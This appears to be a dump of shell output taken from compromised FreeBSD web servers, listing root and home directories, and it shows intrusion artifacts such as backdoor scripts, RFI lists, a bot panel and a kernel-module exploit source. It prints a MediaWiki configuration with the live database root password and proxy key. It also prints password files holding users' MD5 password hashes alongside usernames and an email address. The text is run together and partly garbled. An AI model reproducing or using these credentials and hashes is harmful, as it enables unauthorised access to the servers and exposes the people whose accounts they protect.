&:/home/mjestic:/bin/shalma-server::1018:1018::0:0:alma-server:/home/alma-server:/usr/local/bin/bashtest-serv::1019:1019::0:0:test-serv:/home/test-serv:/usr/local/bin/bashnegroe:$1$GJKcFbkI$eMgx8tGbbuAsIY7z4jrqT/:1020:1020::0:0:User&:/home/negroe:/usr/local/bin/bashhelldive::1021:1021::0:0:helldive:/home/helldive:/usr/local/bin/bashrelentless:$1$hzrBuTFU$LxjyfrPLRNO5orBe/pw8V.:1022:1022::0:0:User&:/home/relentless:/usr/local/bin/bashnt-server:$1$bAEJNi4W$JCRyivGro8EsX/yMCouDS/:1023:1023::0:0:User&:/home/nt-server:/usr/local/bin/bashsyense:$1$tHx1g5xm$HDClXkM2jE1bosbJDjG.V/:1024:1024::0:0:User&:/home/syense:/usr/local/bin/bashtrem12:$1$x1CIdzvF$LSaYQRI5aZU0gPSTfOggw0:1025:1025::0:0:User&:/home/trem12:/usr/local/bin/bashian:$1$KW5wFPNM$J1xzBja4bP/6qAtHHBKm//:1026:1026::0:0:User&:/home/ian:/usr/local/bin/bashkate:$1$.pMZPvPH$KKvicI7gzVfOMRWmtVfck0:1027:1027::0:0:KateStone:/home/kate:/usr/local/bin/bashuntitledhosting:$1$R8QaOXJ.$zjw6dJXsIiVJlsWfYYKWk.:1028:1028::0:0:User&:/home/untitledhosting:/usr/local/bin/bashinkyslair:$1$UFYE2CK0$WrlYr6wPe32qU1j.xwLiz0:1029:1029::0:0:User&:/home/inkyslair:/usr/local/bin/bash>> ls -la /roottotal 38474drwx------ 19 root wheel 2048 Mar 12 21:59 .drwxr-xr-x 18 root wheel 512 Jan 26 19:57 ..-rwx------ 1 root wheel 3015 Feb 18 01:18 .bash_h1story-rwx------ 1 root wheel 9711 Mar 22 21:17 .bash_history-rwx------ 1 root wheel30 Dec 15 17:10 .bash_profile-rwx------ 1 root wheel30 Dec 15 17:03 .bashrcdrwx------ 4 root wheel 512 Jan5 10:07 .cpan-rwx------ 2 root wheel 801 Jan 12 2007 .cshrcdrwx------ 2 root wheel 512 Mar 11 01:01 .elinks-rwx------ 1 root wheel 892 Dec 16 11:47 .historydrwx------ 2 root wheel 512 Dec 15 16:14 .irssi-rwx------ 1 root wheel 143 Jan 12 2007 .k5login-rw------- 1 root wheel35 Mar 12 22:10 .lesshstdrwx------ 2 root wheel 512 Mar 11 01:01 .links-rwx------ 1 root wheel 293 Jan 12 2007 .login-rwx------ 1 root wheel 1081 Feb 25 06:52 .mysql_history-rwx------ 1 root wheel 17401 Mar 12 21:59 .pinerc-rwx------ 2 root wheel 251 Jan 27 21:36 .profile-rw------- 1 root wheel 1024 Feb 25 06:33 .rnddrwx------ 2 root wheel 512 Jan 29 22:58 .sshdrwx------ 3 root wheel 512 Jan4 07:59 .subversion-rwx------ 1 root wheel 0 Feb 18 01:18 .tempdrwx------ 3 root wheel 512 Dec 16 02:48 .tremulousdrwx------ 5 root wheel 512 Dec 18 22:15 .weechatdrwx------ 2 root wheel 512 Dec 29 08:57 72.20.14.247-rwx------ 1 root wheel 1764184 Dec 19 01:55 Railroad.zip-rwx------ 1 root wheel 205609 Dec 17 15:39 acidtechpurple.zip-rwx------ 1 root wheel 6 Feb 16 19:36 auth.log-rwx------ 1 root wheel 588 Dec 16 02:41 base-config.cfg-rwx------ 1 root wheel 223 Dec 16 02:40 base-confs.cfg-rwx------ 1 root wheel 4199 Feb 18 01:16 bd.pl-rwx------ 1 root wheel 0 Feb 17 14:55 bot.pldrwx------ 3 root wheel 512 Feb4 03:08 brute-rwx------ 1 root wheel65 Feb 19 02:15 db.opt-rwx------ 1 root wheel 1827 Dec 16 03:05 install-trem-server.pldrwx------ 2 root wheel 6144 Feb 19 02:15 lt3c_phpbbdrwx------ 2 root wheel 512 Jan 23 15:01 maildrwx------ 5 root wheel 512 Dec 24 01:18 master-rwx------ 1 root wheel 45778 Dec 24 02:56 master.tgz-rwx------ 1 root wheel 4367618 Jan 27 09:16 mboxdrwx------ 14 root wheel 512 Jan6 07:20 mumble-rwx------ 1 root wheel 631037 Feb5 00:52 myspace.jpg-rwx------ 1 root wheel46 Feb 19 02:13 mysql_fix.txt-rwx------ 1 root wheel 10704 Dec 16 21:05 nmap.log-rwx------ 1 root wheel 0 Jan 27 00:09 sshd_log-rwx------ 1 root wheel92 Dec 16 03:04 start.sh-rwx------ 1 root wheel 29529 Dec 23 21:59 sys.pl-rwx------ 1 root wheel 30932992 Feb3 08:57 test100.zipdrwx------ 7 root wheel 512 Feb 24 00:05 trunk-rwx------ 1 root wheel 1155345 Feb 18 02:08ts2_server_rc2_202319.tar.bz2drwx------ 7 zipservers 100 512 Feb 18 22:15 tss2_rc2drwx------ 4 root wheel 512 Dec 15 17:53 utils>> ls -la /usr/hometotal 56drwxr-xr-x 25 10131013 512 Mar 10 23:08 .drwxr-xr-x 20 rootwheel 512 Mar 11 23:49 ..drwxr-xr-x 6 alma-serveralma-server 512 Jan 21 07:40 alma-serverdrwxr-xr-x 3 10131013 512 Jan 27 09:22 aoxdrwxr-xr-x 4 helldive helldive 512 Feb 4 00:21 helldivedrwxr-xr-x 2 httpdhttpd 512 Jan 4 05:14 httpddrwxr-xr-x 5 ianian 512 Mar 20 17:47 iandrwx------ 25 inakiinaki 1536 Mar 17 21:06 inakidrwxr-xr-x 2 inkyslairinkyslair 512 Mar 15 22:16 inkyslairdrwxr-xr-x 3 1010ircd 512 Dec 16 20:25 ircddrwxr-xr-x 4 katekate 512 Feb 28 06:22 katedrwxr-xr-x 2 10131013 512 Dec 14 17:42 ltsvadmindrwxr-xr-x 5 mjesticmjestic 512 Jan 14 06:44 mjesticdrwxr-xr-x 4 ms-clanserverms-clanserver 512 Dec 17 04:12ms-clanserverdrwxr-xr-x 4 negroenegroe 512 Feb 9 10:21 negroedrwxr-xr-x 9 nt-servernt-server 512 Mar 9 01:36 nt-serverdrwxr-xr-x 3 10131013 512 Dec 16 02:28 poweroverdrwxr-xr-x 2 relentlessrelentless 512 Feb 7 16:55 relentlessdrwxr-xr-x 6 syensesyense 512 Mar 17 07:51 syensedrwxr-xr-x 4 test-servtest-serv 512 Jan 21 08:01 test-servdrwxr-xr-x 5 trem-mapstrem-maps 6656 Feb 26 03:57 trem-mapsdrwxr-xr-x 4 trem12trem12 512 Feb 18 22:53 trem12drwxr-xr-x 5 tremuloustremulous 512 Mar 21 20:09 tremulousdrwxr-xr-x 2 untitledhostinguntitledhosting 512 Mar 7 15:18untitledhostingdrwxr-xr-x 2 10131013 512 Feb 23 07:23 zipservers>> ls -la invalid.site/www/total 3718 drwxrwxrwx 3 root wheel 512 Mar 11 04:15 .drwxr-xr-x 4 root wheel 512 Feb 6 07:03 ..-rwxr-xr-x 1 root wheel 551940 Mar 1 04:58 __spldrwxr-xr-x 11 root wheel2560 Mar 10 03:49 __sql-rwxr-xr-x 1 root wheel 13534 Mar 5 06:47 a.out -rw-r--r-- 1 root wheel2412 Feb 15 07:40 attack.php-rw-r--r-- 1 root wheel2412 Feb 15 07:40 attack.src-rwxr-xr-x 1 root wheel4175 Mar 8 02:18 bd.txt-rwxr-xr-x 1 root wheel4168 Mar 8 02:24 bd_2.txt-rwxrwxrwx 1 root wheel4606 Feb 29 06:10 bopm.conf-rw-r--r-- 1 root wheel5784 Mar 3 13:54 cute.php-rw-r--r-- 1 root wheel 706 Mar 9 06:23 dc.txt-rw-r--r-- 1 root wheel5185 Mar 1 05:55
exp.pm-rw-r--r-- 1 root wheel 10486 Mar 1 06:10 get.txt-rw-r--r-- 1 root wheel 10423 Mar 1 06:00 get.txty-rw-r--r-- 1 root wheel 20 Mar 1 03:18 index.php-rw-r--r-- 1 root wheel 341 Mar 7 02:22 inf.txt-rwxr-xr-x 1 root wheel 13534 Mar 1 06:54 kmod-rw-r--r-- 1 root wheel3740 Mar 15 13:56 kmod.c-rwxr-xr-x 1 root wheel9014 Mar 5 06:47 krad-rw-r--r-- 1 root wheel 232 Feb 14 03:11 owned.php-rwxr-xr-x 1 root wheel8574 Mar 1 06:17 perl_root-rw------- 1 httpd wheel 3072000 Mar 9 05:21 php-cgi.core-rw-r--r-- 1 root wheel3457 Feb 29 06:33 repl.txt[root@athena:/var/www]>> ls -la lt3c.info/www/total 712drwxr-xr-x 7 httpd httpd512 Feb 16 19:37 .drwxr-xr-x 4 httpd httpd512 Jan 26 09:24 ..-rw-r--r-- 1 root httpd 205609 Dec 17 15:39 acidtechpurple.zipdrwxr-xr-x 2 httpd httpd512 Jan 31 02:23 cssdrwxr-xr-x 13 httpd httpd 1024 Feb 9 02:40 forumdrwxr-xr-x 2 httpd httpd512 Jan 31 05:34 images-rw-r--r-- 1 httpd httpd 3094 Mar 8 01:44 index.phpdrwxr-xr-x 2 httpd httpd512 Mar 17 20:50 inky-rw-r--r-- 1 httpd httpd267 Mar 8 01:44 lib.phpdrwxr-xr-x 2 httpd httpd512 Jan 31 07:01 pages-rw-r--r-- 1 httpd httpd904 Mar 8 01:44 temp.htm-rw-r--r-- 1 root httpd 45 Feb 12 08:27 uta.htm-rw-r--r-- 1 root httpd 214602 Feb 12 08:13 uta.pmd-rw-r--r-- 1 root httpd 211734 Feb 12 08:24 uta.qcp[root@athena:/var/www]>> ls -la partyvanradio.org/www/total 6drwxr-xr-x 2 relentless relentless 512 Feb 7 06:54 .drwxr-xr-x 4 root wheel 512 Feb 7 06:53 ..-rw-r--r-- 1 relentless relentless 166 Feb 7 07:13 index.php[root@athena:/var/www]>> ls -la untitledhosting.org/www/total 74drwxr-xr-x 10 untitledhostinguntitledhosting 512 Mar 10 03:05 .drwxr-xr-x 4 rootwheel 512 Mar 7 15:13 ..-rw-r--r-- 1 untitledhostinguntitledhosting 8 Mar 10 03:05 LAWLdrwxr-xr-x 4 untitledhostinguntitledhosting 2048 Mar 10 02:47 admin-rwxr-xr-x 1 untitledhostinguntitledhosting 5805 Mar 10 02:52 config.phpdrwxr-xr-x 2 untitledhostinguntitledhosting 512 Mar 10 02:47 doc-rw-r--r-- 1 untitledhostinguntitledhosting 318 Jan 3 02:56favicon_cms.ico-rw-r--r-- 1 untitledhostinguntitledhosting 330 Jan 3 02:56 fileloc.phpdrwxr-xr-x 3 untitledhostinguntitledhosting 512 Mar 10 02:47 images-rw-r--r-- 1 untitledhostinguntitledhosting 8187 Jan 3 02:56 include.php-rw-r--r-- 1 untitledhostinguntitledhosting 9809 Jan 3 02:56 index.phpdrwxr-xr-x 11 untitledhostinguntitledhosting 512 Mar 10 02:47 lib-rw-r--r-- 1 untitledhostinguntitledhosting 961 Jan 3 02:56 moduleinterface.phpdrwxrwxrwx 12 untitledhostinguntitledhosting 512 Mar 10 02:47 modulesdrwxr-xr-x 3 untitledhostinguntitledhosting 2048 Mar 10 02:47 plugins-rw-r--r-- 1 untitledhostinguntitledhosting 1955 Jan 3 02:56 preview.php-rw-r--r-- 1 untitledhostinguntitledhosting 168 Jan 3 02:56 robots.txt-rw-r--r-- 1 untitledhostinguntitledhosting 4161 Jan 3 02:56 soap.php-rw-r--r-- 1 untitledhostinguntitledhosting 2535 Jan 3 02:56 stylesheet.css-rw-r--r-- 1 untitledhostinguntitledhosting 5179 Jan 3 02:56 stylesheet.phpdrwxrwxrwx 6 untitledhostinguntitledhosting 512 Mar 10 02:47 tmpdrwxrwxrwx 4 untitledhostinguntitledhosting 512 Mar 10 03:09 uploads-rw-r--r-- 1 untitledhostinguntitledhosting 1127 Jan 3 02:56 version.php[root@athena:/var/www]>> ls -la /home/inaki/total 157184drwx------ 25 inaki inaki 1536 Mar 17 21:06 .drwxr-xr-x 25 1013 1013 512 Mar 10 23:08 ..-rwx------ 1 inaki inaki 10462 Mar 22 00:28 .bash_history-rwx------ 1 inaki inaki 30 Dec 16 17:56 .bash_profile-rwx------ 1 inaki inaki 30 Dec 16 17:56 .bashrc-rw-r--r-- 1 inaki inaki 14178 Mar 4 00:00 .bot_log-rwx------ 1 inaki inaki 767 Dec 15 16:07 .cshrc-rw-r--r-- 1 inaki inaki 6 Mar 17 21:06 .gay-state-rwx------ 1 inaki inaki 142 Dec 17 01:58 .historydrwx------ 2 inaki inaki 512 Dec 18 22:12 .irssi-rw------- 1 inaki inaki 35 Mar 9 18:42 .lesshstdrwx------ 2 inaki inaki 512 Jan 30 21:51 .links-rwx------ 1 inaki inaki 248 Dec 15 16:07 .login-rwx------ 1 inaki inaki 158 Dec 15 16:07 .login_conf-rwx------ 1 inaki inaki 373 Dec 15 16:07 .mail_aliases-rwx------ 1 inaki inaki 331 Dec 15 16:07 .mailrc-rwx------ 1 inaki inaki 797 Dec 15 16:07 .profile-rwx------ 1 inaki inaki 276 Dec 15 16:07 .rhosts-rwx------ 1 inaki inaki 975 Dec 15 16:07 .shrcdrwx------ 2 inaki inaki 512 Feb 9 07:09 .sshdrwx------ 7 inaki inaki 512 Mar 17 16:56 .weechat-rw-r--r-- 1 inaki inaki 1330 Mar 10 03:53 InstallMorgan.pldrwxr-xr-x 2 inaki inaki 512 Mar 5 22:56 RFIscandrwx------ 17 inaki inaki 1536 Mar 12 21:55 Unreal3.2.7-rwx------ 1 inaki inaki 2801622 Dec 29 09:01 Unreal3.2.7.tar.gz-rw-r--r-- 1 inaki inaki 12469 Mar 7 05:27 _good_rfis.txtdrwx------ 7 inaki inaki 1024 Dec 27 22:44 anope-1.7.19-rwx------ 1 inaki inaki 1505639 Jun 10 2007 anope-1.7.19.tar.gzdrwx------ 8 inaki inaki 512 Jan 13 07:25 bopmdrwx------ 5 inaki inaki 1024 Jan 13 07:02 bopm-3.1.3-rwx------ 1 inaki inaki819273 May 16 2007 bopm-3.1.3.tar.gz-rwx------ 1 inaki inaki 1424 Dec 27 21:59 bot.pl-rwx------ 1 inaki inaki 1401 Dec 25 08:31 bot.pl.save-rwx------ 1 inaki inaki 1417 Dec 27 21:57 bot.pl\drwx------ 4 inaki inaki 512 Mar 3 14:10 botpanel-rwx------ 1 inaki inaki 11962 Feb 13 03:05 botpanel.tgz-rwx------ 1 inaki inaki 0 Dec 23 00:06 cigarette-rw-r--r-- 1 inaki inaki 1334 Mar 8 05:57 cleanrfi.pldrwxrwxrwx 3 inaki inaki 512 Feb 23 04:17 exedrwx------ 2 inaki inaki 512 Feb 9 07:43 flash-rwx------ 1 inaki inaki130677 Jul 14 2007 gay-rwx------ 1 inaki inaki 2576 Nov 24 23:25 gen.pl-rwxr-xr-x 1 inaki inaki 655 Mar 5 02:45 getRFI.sh-rw-r--r-- 1 inaki inaki121721 Mar 10 04:33 good_rfis.txtdrwxrwxrwx 2 inaki inaki 512 Feb 21 04:08 imagesdrwx------ 8 inaki inaki 512 Jan 5 09:48 ircd-rwx------ 1 inaki inaki 2457953 Dec 19 02:58 irssi-rwx------ 1 inaki inaki 530 Dec 19 01:34 jap.pldrwx------ 5 inaki inaki 512 Feb 17 15:56 jewgong-rwx------ 1 inaki inaki 1507 Jan 5 08:37 lol.sh-rwx------ 1 inaki inaki 5026 Feb 1 23:08 lololdrwx------ 4 inaki inaki 512 Jan 4 22:25 lulzhost.net-rwx------ 1 inaki inaki 45778 Dec 24 02:22 master.tgzdrwx------ 7 inaki inaki 512 Dec 27 22:50 misc-rwx------ 1 inaki inaki 1993 Dec 1 19:39 mpdnp.pldrwx------ 2 inaki inaki 512 Feb 17 11:04 music-rwx------ 1 inaki inaki 9576448 Feb 3 09:29 openssl_installer.exe-rwx------ 1 inaki inaki 0 Feb 11 03:27 outdrwx------ 2 inaki inaki 512 Jan 11 20:20 oxygen-rwx------ 1 inaki inaki 0 Nov 25 09:04 pizzadrwx------ 2 inaki inaki 512 Jan 16 23:14 public_htmldrwx------ 2 inaki inaki 512 Jan 4 03:33 radiobot-rwx------ 1 inaki inaki 806 Dec 16 21:17 range-rw-r--r-- 1 inaki inaki190367 Mar 21 21:52 rfis.txtdrwx------ 3 inaki inaki 1024 Jan 14 00:38 seeborg-0.51-rwx------ 1 inaki inaki 58113 Aug 15 2003 seeborg-0.51.tar.gz-rwx------ 1 inaki inaki 825 Dec 1 17:59 server.cfg-rwx------ 1 inaki inaki 14285284 Dec 25 03:00 sy.rar-rwx------ 1 inaki inaki 55 Dec 8 10:30 test-rwx------ 1 inaki inaki 67 Dec 7 12:48 test.shdrwx------ 3 inaki inaki 512 Jan 5 09:48 testircd-rwx------ 1 inaki inaki 0 Nov 24 22:00 trace.rt-rwx------ 1 inaki inaki 128561152 Mar 8 00:19 weechat-curses.core-rwx------ 1 inaki inaki 69 Dec 16 21:17 xh.pl>> ls -la /usr/home/mjestic/total 204drwxr-xr-x 5 mjesticmjestic 512 Jan 14 06:44 .drwxr-xr-x 25 10131013 512 Mar 10 23:08 ..-rw------- 1 mjesticmjestic 1404 Jan 14 06:52 .bash_history-rw-r--r-- 1 mjesticmjestic 767 Jan 14 05:18 .cshrc-rw-r--r-- 1 mjesticmjestic 248 Jan 14 05:18 .login-rw-r--r-- 1 mjesticmjestic 158 Jan 14 05:18 .login_conf-rw------- 1 mjesticmjestic 373 Jan 14 05:18 .mail_aliases-rw-r--r-- 1 mjesticmjestic 331 Jan 14 05:18 .mailrc-rw-r--r-- 1 mjesticmjestic 797 Jan 14 05:18 .profile-rw------- 1 mjesticmjestic 276 Jan 14 05:18 .rhosts-rw-r--r-- 1 mjesticmjestic 975 Jan 14 05:18 .shrcdrwxr-xr-x 4 mjesticmjestic 512 Jan 14 06:45 .tremulousdrwxr-xr-x 5 mjesticmjestic 512 Nov 8 07:29 arcade-rw-r--r-- 1 mjesticmjestic 178453 Nov 8 07:30 arcade-svn971-14-vm.tar.gzdrwxr-xr-x 3 mjesticmjestic 512 Jan 14 06:46 trem-server[root@athena:/var/www]/*** And now for partyvan.info**/ $ uname -aFreeBSD partyvan.info 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386$ w12:22AM up 2:37, 0 users, load averages: 0.06, 0.06, 0.07USER TTY FROM LOGIN@ IDLE WHAT$ lsapache22squirrelmail$ pwd/usr/local/www$ cd apache22$ ls -altotal 14drwxr-xr-x 6 root wheel 512 Mar 8 16:40 .drwxr-xr-x 4 root wheel 512 Mar 8 22:03 ..drwxr-xr-x 2 root wheel 512 Mar 8 16:40 cgi-bindrwxr-xr-x 28 root wheel 1536 Mar 8 22:01 datadrwxr-xr-x 3 root wheel 1024 Mar 8 16:40 errordrwxr-xr-x 3 root wheel 3584 Mar 8 16:40 icons$ cd data$ ls -altotal 120006drwxr-xr-x 28 rootwheel 1536 Mar8 22:01 .drwxr-xr-x 6 rootwheel 512 Mar8 16:40 ..drwxr-xr-x 3 rootpicatta 512 Mar8 17:41 711chan-rwxr-xr-x 1 rootpicatta 825 Mar5 12:48 AdminSettings.sample-rwxr-xr-x 1 rootpicatta 17997 Mar5 12:48 COPYING-rwxr-xr-x 1 rootpicatta 162 Mar5 12:48 FAQ-rwxr-xr-x 1 rootpicatta 175294 Mar5 12:48 HISTORY-rwxr-xr-x 1 rootpicatta 3992 Mar5 12:48 INSTALL-rw-r--r-- 1 rootpicatta 4522 Mar5 12:48 LocalSettings.php-rwxr-xr-x 1 rootpicatta 27 Mar5 12:48 Makefile-rwxr-xr-x 1 rootpicatta 44283 Mar5 12:48 RELEASE-NOTES-rwxr-xr-x 1 rootpicatta 605 Mar5 12:48 StartProfiler.php-rwxr-xr-x 1 rootpicatta 12816 Mar5 12:48 UPGRADE-rwxr-xr-x 1 rootpicatta 1316 Mar5 12:48 api.phpdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 authdrwxr-xr-x 3 rootwheel 512 Mar8 17:41 backupdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 bindrwxr-xr-x 18 rootpicatta 512 Mar8 17:41 cachedirdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 cgi-bin-rw-r--r-- 1 rootpicatta 1832 Mar5 12:48 cheese.gif-rw-r--r-- 1 rootpicatta 1677 Mar5 12:48 cheese2.gif-rwxr-xr-x 1 rootpicatta 122077184 Mar5 12:48 core.21271drwxr-xr-x 3 rootpicatta 512 Mar8 17:41 devdrwxr-xr-x 4 rootpicatta 512 Mar8 17:41 docsdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 donate-rw-r--r-- 1 rootpicatta 2037 Mar5 12:48 epiccheese.js-rw-r--r-- 1 rootpicatta 2091 Mar5 12:48 epicfail.jsdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 extensions-rwxr-xr-x 1 rootpicatta 1150 Mar5 12:48 favicon.icodrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 fimg-rwxr-xr-x 1 rootpicatta 1501 Mar5 12:48 front.php-rwxr-xr-x 1 rootpicatta 173 Mar5 12:48 google.htmldrwxr-xr-x 3 rootpicatta 512 Mar8 17:41 hosteddrwxr-xr-x 21 rootpicatta 512 Mar8 17:41 images-rwxr-xr-x 1 rootpicatta 1978 Mar5 12:48 img_auth.phpdrwxr-xr-x 7 rootpicatta 5632 Mar8 17:41 includes-rwxr-xr-x 1 rootpicatta 113 Mar5 12:48 index.dongs-rwxr-xr-x 1 rootpicatta 1513 Mar5 12:48 index.old-rwxr-xr-x 1 rootpicatta 8716 Mar5 12:48 index.php-rwxr-xr-x 1 rootpicatta 454 Mar5 12:48 index.php__-rwxr-xr-x 1 rootpicatta 21 Mar5 12:48 info.php-rwxr-xr-x 1 rootpicatta 3899 Mar5 12:48 install-utils.incdrwxr-xr-x 4 rootpicatta 512 Mar8 17:41 languages-rwxr-xr-x 1 rootpicatta 584 Mar5 12:48 load.phpdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 locale-rwxr-xr-x 1 rootpicatta 3227 Mar5 12:48 lol.cssdrwxr-xr-x 9 rootpicatta 4096 Mar8 17:41 maintenancedrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 math-rw-r--r-- 1 rootpicatta 0 Mar5 12:48 merge.php-rwxr-xr-x 1 rootpicatta 19631 Mar5 12:48 mudkipz.png-rwxr-xr-x 1 rootpicatta 1532 Mar5 12:48 opensearch_desc.php-rwxr-xr-x 1 rootpicatta 65394 Mar5 12:48 owned1.jpg-rwxr-xr-x 1 rootpicatta 67133 Mar5 12:48 owned2.jpg-rw-r--r-- 1 picattapicatta 361 Mar8 21:56 portl.html-rwxr-xr-x 1 rootpicatta 6173 Mar5 12:48 profileinfo.phpdrwxr-xr-x 3 rootpicatta 512 Mar8 17:41 public_ftpdrwxr-xr-x 7 rootpicatta 1024 Mar8 17:41 raid-rwxr-xr-x 1 rootpicatta 428 Mar5 12:48 redir.php-rwxr-xr-x 1 rootpicatta 319 Mar5 12:48 redirect.php-rwxr-xr-x 1 rootpicatta 91 Mar5 12:48 redirect.phtml-rwxr-xr-x 1 rootpicatta 92 Mar5 12:48 robots.txt-rwxr-xr-x 1 rootpicatta 1351 Mar5 12:48 seal.phpdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 serialized-rwxr-xr-x 1 rootpicatta 147770 Mar5 12:48 shit.jpgdrwxr-xr-x 10 rootpicatta 1024 Mar8 17:41 skinsdrwxr-xr-x 3 rootpicatta 512 Mar8 17:41 t-rwxr-xr-x 1 rootpicatta 6 Mar5 12:48 test-rwxr-xr-x 1 rootpicatta 27 Mar5 12:48 test.php-rwxr-xr-x 1 rootpicatta 53 Mar5 12:48 test2.phpdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 tests-rwxr-xr-x 1 rootpicatta 2408 Mar5 12:48 thumb.phpdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 tmp-rwxr-xr-x 1 rootpicatta 1384 Mar5 12:48 trackback.phpdrwxr-xr-x 2 rootpicatta 512 Mar8 17:41 vamp-rwxr-xr-x 1 rootpicatta 88 Mar5 12:48 wiki.phtml-rwxr-xr-x 1 rootpicatta 1756 Mar5 12:48 ~index.php$ cat LocalSettings.php<?php# This file was automatically generated by the MediaWiki installer.# If you make manual changes, please keep track in case you need to# recreate them later.## See includes/DefaultSettings.php for all configurable settings# and their default values, but don't forget to make changes in _this_# file, not there.# If you customize your file layout, set $IP to the directory that contains# the other MediaWiki files. It will be used as a base to locate files.if( defined( 'MW_INSTALL_PATH' ) ) {$IP = MW_INSTALL_PATH;} else {$IP = dirname( __FILE__ );}$path = array( $IP, "$IP/includes", "$IP/languages" );set_include_path( implode( PATH_SEPARATOR, $path ) . PATH_SEPARATOR .get_include_path() );require_once( "includes/DefaultSettings.php" );# If PHP's memory limit is very low, some operations may fail.# ini_set( 'memory_limit', '20M' );if ( $wgCommandLineMode ) {if ( isset( $_SERVER ) && array_key_exists( 'REQUEST_METHOD', $_SERVER) ) {die( "This script must be run from the command line\n" );}} elseif ( empty( $wgNoOutputBuffer ) ) {## Compress output if the browser supports itif( !ini_get( 'zlib.output_compression' ) ) @ob_start( 'ob_gzhandler');}$wgSitename = "Insurgency Wiki";## The URL base path to the directory containing the wiki;## defaults for all runtime URL paths are based off of this.$wgScriptPath = "";## For more information on customizing the URLs please see:## http://www.mediawiki.org/wiki/Manual:Short_URL$wgShowIPinHeader = false;$wgEnableEmail = true;$wgEnableUserEmail = true;$wgEmergencyContact = "Coprolal1an@gmail.com";$wgPasswordSender = "Coprolal1an@gmail.com";## For a detailed description of the following switches see## http://meta.wikimedia.org/Enotif and http://meta.wikimedia.org/Eauthent## There are many more options for fine tuning available see## /includes/DefaultSettings.php## UPO means: this is also a user preference option$wgEnotifUserTalk = true; # UPO$wgEnotifWatchlist = true; # UPO$wgEmailAuthentication = true;$wgDBtype = "mysql";$wgDBserver = "localhost";$wgDBname = "partyvan_insurgency";$wgDBuser = "root";$wgDBpassword = "lolcats8295";$wgDBport = "3306";$wgDBprefix = "mw_";# Schemas for Postgres$wgDBmwschema = "mediawiki";$wgDBts2schema = "public";#
Experimental charset support for MySQL 4.1/5.0.$wgDBmysql5 = false;## Shared memory settings$wgFileCacheDirectory = '/home/partyvan/public_html/cachedir/';$wgShowIPinHeader = false;$wgUseFileCache = true;$wgMainCacheType = CACHE_MEMCACHED;$wgDisableCounters=true;$wgMemCachedServers = array();$wgUseMemCached = true;$wgMemCachedServers = array( "127.0.0.1:11211" );## To enable image uploads, make sure the 'images' directory## is writable, then set this to true:$wgEnableUploads = true;$wgUseImageResize = true;$wgUseImageMagick = true;$wgImageMagickConvertCommand = "/usr/bin/convert";## If you want to use image uploads under safe mode,## create the directories images/archive, images/thumb and## images/temp, and make them all writable. Then uncomment## this, if it's not already uncommented:# $wgHashedUploadDirectory = false;## If you have the appropriate support software installed## you can enable inline LaTeX equations:$wgUseTeX = false;$wgLocalInterwiki = $wgSitename;$wgLanguageCode = "en";$wgProxyKey ="79057c7a1562bb0417a20556cf0a63001ebacb27da55d05511820902bab34586";## Default skin: you can change the default skin. Use the internal symbolic## names, ie 'standard', 'nostalgia', 'cologneblue', 'monobook':$wgDefaultSkin = 'nostalgia';## For attaching licensing metadata to pages, and displaying an## appropriate copyright notice / icon. GNU Free Documentation## License and Creative Commons licenses are supported so far.$wgEnableCreativeCommonsRdf = true;$wgRightsPage = ""; # Set to the title of a wiki page that describes yourlicense/copyright$wgRightsUrl = "http://creativecommons.org/licenses/by-nc-sa/3.0/";$wgRightsText = "Attribution-Noncommercial-Share Alike 3.0 ";$wgRightsIcon = "http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png";# $wgRightsCode = "by-nc-sa"; # Not yet used$wgDiff3 = "/usr/bin/diff3";# When you make changes to this configuration file, this will make# sure that cached pages are cleared.$configdate = gmdate( 'YmdHis', @filemtime( __FILE__ ) );$wgCacheEpoch = max( $wgCacheEpoch, $configdate );?>$ cat /etc/passwd# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks
Exp $#root:*:0:0:Charlie &:/root:/bin/cshtoor:*:0:0:Bourne-again Superuser:/root:daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologinoperator:*:2:5:System &:/:/usr/sbin/nologinbin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologintty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologinkmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologingames:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologinnews:*:8:8:News Subsystem:/:/usr/sbin/nologinman:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologinsshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologinsmmsp:*:25:25:Sendmail SubmissionUser:/var/spool/clientmqueue:/usr/sbin/nologinmailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologinbind:*:53:53:Bind Sandbox:/:/usr/sbin/nologinproxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologinuucp:*:66:66:UUCPpseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucicopop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologinwww:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologinnobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologinpicatta:*:1001:1001:picatta:/home/picatta:/bin/shgeneral:*:1002:1002:general:/home/general:/bin/shmysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologincyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh$ ls -al /usr/hometotal 8drwxr-xr-x 4 rootwheel 512 Mar 8 07:48 .drwxr-xr-x 17 rootwheel 512 Mar 8 07:48 ..drwxr-xr-x 2 generalgeneral 512 Mar 8 07:48 generaldrwxr-xr-x 2 picattapicatta 512 Mar 8 